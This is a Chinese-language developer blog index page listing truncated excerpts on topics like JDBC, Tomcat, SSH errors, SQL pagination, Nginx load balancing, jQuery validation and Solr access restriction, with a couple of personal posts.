    一、在finally块中做数据回收操作 比如数据库连接都是很宝贵的，所以最好在finally中关闭连接。 JDBCAgent jdbc = new JDBCAgent(); try{ jdbc.excute("select * from ctp_log"); }catch(SQLException e){ ... }finally{ jdbc.close();
  • utf-8与utf-8(无BOM)的区别 dcj3sjt126com PHP
    BOM——Byte Order Mark，就是字节序标记   在UCS 编码中有一个叫做"ZERO WIDTH NO-BREAK SPACE"的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前，先传输 字符"ZERO WIDTH NO-BREAK SPACE"。这样如
  • JAVA Annotation之定义篇 周凡杨 java注解annotation入门注释
        Annotation: 译为注释或注解 An annotation, in the Java computer programming language, is a form of syntactic metadata that can be added to Java source code. Classes, methods, variables, pa
  • tomcat的多域名、虚拟主机配置 g21121 tomcat
    众所周知apache可以配置多域名和虚拟主机，而且配置起来比较简单，但是项目用到的是tomcat，配来配去总是不成功。查了些资料才总算可以，下面就跟大家分享下经验。 很多朋友搜索的内容基本是告诉我们这么配置： 在Engine标签下增面积Host标签，如下： <Host name="www.site1.com" appBase="webapps"
  • Linux SSH 错误解析（Capistrano 的cap 访问错误 Permission ） 510888780 linuxcapistrano
    1.ssh -v [email protected] 出现 Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password). 错误 运行状况如下： OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 debug1: Reading configuratio
  • log4j的用法 Harry642 javalog4j
    一、前言：     log4j 是一个开放源码项目，是广泛使用的以Java编写的日志记录包。由于log4j出色的表现，     当时在log4j完成时，log4j开发组织曾建议sun在jdk1.4中用log4j取代jdk1.4 的日志工具类，但当时jdk1.4已接近完成，所以sun拒绝使用log4j，当在java开发中
  • mysql、sqlserver、oracle分页，java分页统一接口实现 aijuans oraclejave
    定义：pageStart 起始页，pageEnd 终止页,pageSize页面容量 oracle分页： 　　　　select * from ( select mytable.*,rownum num from (实际传的SQL) where rownum<=pageEnd) where num>=pageStart sqlServer分页：  
  • Hessian 简单例子 antlove javaWebservicehessian
    hello.hessian.MyCar.java package hessian.pojo; import java.io.Serializable; public class MyCar implements Serializable { private static final long serialVersionUID = 473690540190845543
  • 数据库对象的同义词和序列 百合不是茶 sql序列同义词ORACLE权限
    回顾简单的数据库权限等命令; 解锁用户和锁定用户 alter user scott account lock/unlock; //system下查看系统中的用户 select * dba_users; //创建用户名和密码 create user wj identified by wj; identified by //授予连接权和建表权 grant connect to
  • 使用Powermock和mockito测试静态方法 bijian1013 持续集成单元测试mockitoPowermock
            实例： package com.bijian.study; import static org.junit.Assert.assertEquals; import java.io.IOException; import org.junit.Before; import org.junit.Test; import or
  • 精通Oracle10编程SQL(6)访问ORACLE bijian1013 oracle数据库plsql
    /* *访问ORACLE */ --检索单行数据 --使用标量变量接收数据 DECLARE v_ename emp.ename%TYPE; v_sal emp.sal%TYPE; BEGIN select ename,sal into v_ename,v_sal from emp where empno=&no; dbms_output.pu
  • 【Nginx四】Nginx作为HTTP负载均衡服务器 bit1129 nginx
     Nginx的另一个常用的功能是作为负载均衡服务器。一个典型的web应用系统，通过负载均衡服务器，可以使得应用有多台后端服务器来响应客户端的请求。一个应用配置多台后端服务器，可以带来很多好处：   负载均衡的好处 增加可用资源 增加吞吐量 加快响应速度，降低延时 出错的重试验机制 Nginx主要支持三种均衡算法： round-robin l
  • jquery-validation备忘 白糖_ jquerycssF#Firebug
    留点学习jquery validation总结的代码：   function checkForm(){ validator = $("#commentForm").validate({// #formId为需要进行验证的表单ID errorElement :"span",// 使用"div"标签标记错误， 默认:&
  • solr限制admin界面访问（端口限制和http授权限制） ronin47 限定Ip访问
    solr的管理界面可以帮助我们做很多事情，但是把solr程序放到公网之后就要限制对admin的访问了。 可以通过tomcat的http基本授权来做限制，也可以通过iptables防火墙来限制。 我们先看如何通过tomcat配置http授权限制。 第一步： 在tomcat的conf/tomcat-users.xml文件中添加管理用户，比如： <userusername="ad
  • 多线程-用JAVA写一个多线程程序，写四个线程，其中二个对一个变量加1，另外二个对一个变量减1 bylijinnan java多线程
    public class IncDecThread { private int j=10; /* * 题目:用JAVA写一个多线程程序，写四个线程，其中二个对一个变量加1，另外二个对一个变量减1 * 两个问题： * 1、线程同步--synchronized * 2、线程之间如何共享同一个j变量--内部类 */ public static
  • 买房历程 cfyme
        2015-06-21: 万科未来城，看房子   2015-06-26: 办理贷款手续，贷款73万，贷款利率5.65=5.3675   2015-06-27: 房子首付,签完合同   2015-06-28，央行宣布降息 0.25，就2天的时间差啊，没赶上。   首付，老婆找他的小姐妹接了5万，另外几个朋友借了1-
  • [军事与科技]制造大型太空战舰的前奏 comsci 制造
           天气热了........空调和电扇要准备好..........        最近,世界形势日趋复杂化,战争的阴影开始覆盖全世界..........        所以,我们不得不关
  • dateformat dai_lm DateFormat
    "Symbol Meaning Presentation Ex." "------ ------- ------------ ----" "G era designator (Text) AD" "y year
  • Hadoop如何实现关联计算 datamachine mapreducehadoop关联计算
        选择Hadoop，低成本和高扩展性是主要原因，但但它的开发效率实在无法让人满意。     以关联计算为例。     假设：HDFS上有2个文件，分别是客户信息和订单信息，customerID是它们之间的关联字段。如何进行关联计算，以便将客户名称添加到订单列表中？   &nbs
  • 用户模型中修改用户信息时，密码是如何处理的 dcj3sjt126com yii
    当我添加或修改用户记录的时候对于处理确认密码我遇到了一些麻烦，所有我想分享一下我是怎么处理的。 场景是使用的基本的那些(系统自带)，你需要有一个数据表(user)并且表中有一个密码字段(password),它使用 sha1、md5或其他加密方式加密用户密码。 面是它的工作流程: 当创建用户的时候密码需要加密并且保存，但当修改用户记录时如果使用同样的场景我们最终就会把用户加密过的密码再次加密，这
  • 中文 iOS/Mac 开发博客列表 dcj3sjt126com Blog
      本博客列表会不断更新维护，如果有推荐的博客，请到此处提交博客信息。 本博客列表涉及的文章内容支持 定制化Google搜索，特别感谢 JeOam 提供并帮助更新。 本博客列表也提供同步更新的OPML文件（下载OPML文件），可供导入到例如feedly等第三方定阅工具中，特别感谢 lcepy 提供自动转换脚本。这里有导入教程。
  • js去除空格，去除左右两端的空格 蕃薯耀 去除左右两端的空格js去掉所有空格js去除空格
    js去除空格，去除左右两端的空格 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&g
  • SpringMVC4零配置--web.xml hanqunfeng springmvc4
    servlet3.0+规范后，允许servlet，filter，listener不必声明在web.xml中，而是以硬编码的方式存在，实现容器的零配置。 ServletContainerInitializer：启动容器时负责加载相关配置 package javax.servlet; import java.util.Set; public interface ServletContainer
  • 《开源框架那些事儿21》：巧借力与借巧力 j2eetop 框架UI
    同样做前端UI，为什么有人花了一点力气，就可以做好？而有的人费尽全力，仍然错误百出？我们可以先看看几个故事。 故事1：巧借力，乌鸦也可以吃核桃 有一个盛产核桃的村子，每年秋末冬初，成群的乌鸦总会来到这里，到果园里捡拾那些被果农们遗落的核桃。 核桃仁虽然美味，但是外壳那么坚硬，乌鸦怎么才能吃到呢？原来乌鸦先把核桃叼起，然后飞到高高的树枝上，再将核桃摔下去，核桃落到坚硬的地面上，被撞破了，于是，
  • JQuery EasyUI 验证扩展 可怜的猫 jqueryeasyui验证
      最近项目中用到了前端框架-- EasyUI，在做校验的时候会涉及到很多需要自定义的内容，现把常用的验证方式总结出来，留待后用。   以下内容只需要在公用js中添加即可。   使用类似于如下： <input class="easyui-textbox" name="mobile" id="mobile&
  • 架构师之httpurlconnection----------读取和发送(流读取效率通用类) nannan408
    1.前言.    如题. 2.代码. /* * Copyright (c) 2015, S.F. Express Inc. All rights reserved. */ package com.test.test.test.send; import java.io.IOException; import java.io.InputStream
  • Jquery性能优化 r361251 JavaScriptjquery
    一、注意定义jQuery变量的时候添加var关键字 这个不仅仅是jQuery，所有javascript开发过程中，都需要注意，请一定不要定义成如下： $loading = $('#loading'); //这个是全局定义，不知道哪里位置倒霉引用了相同的变量名，就会郁闷至死的 二、请使用一个var来定义变量 如果你使用多个变量的话，请如下方式定义： . 代码如下: var page
  • 在eclipse项目中使用maven管理依赖 tjj006 eclipsemaven
    概览: 如何导入maven项目至eclipse中 建立自有Maven  Java类库服务器 建立符合maven代码库标准的自定义类库 Maven在管理Java类库方面有巨大的优势，像白衣所说就是非常“环保”。 我们平时用IDE开发都是把所需要的类库一股脑的全丢到项目目录下，然后全部添加到ide的构建路径中，如果用了SVN/CVS，这样会很容易就 把
  • 中国天气网省市级联页面 x125858805 级联
    1、页面及级联js <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> &l
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他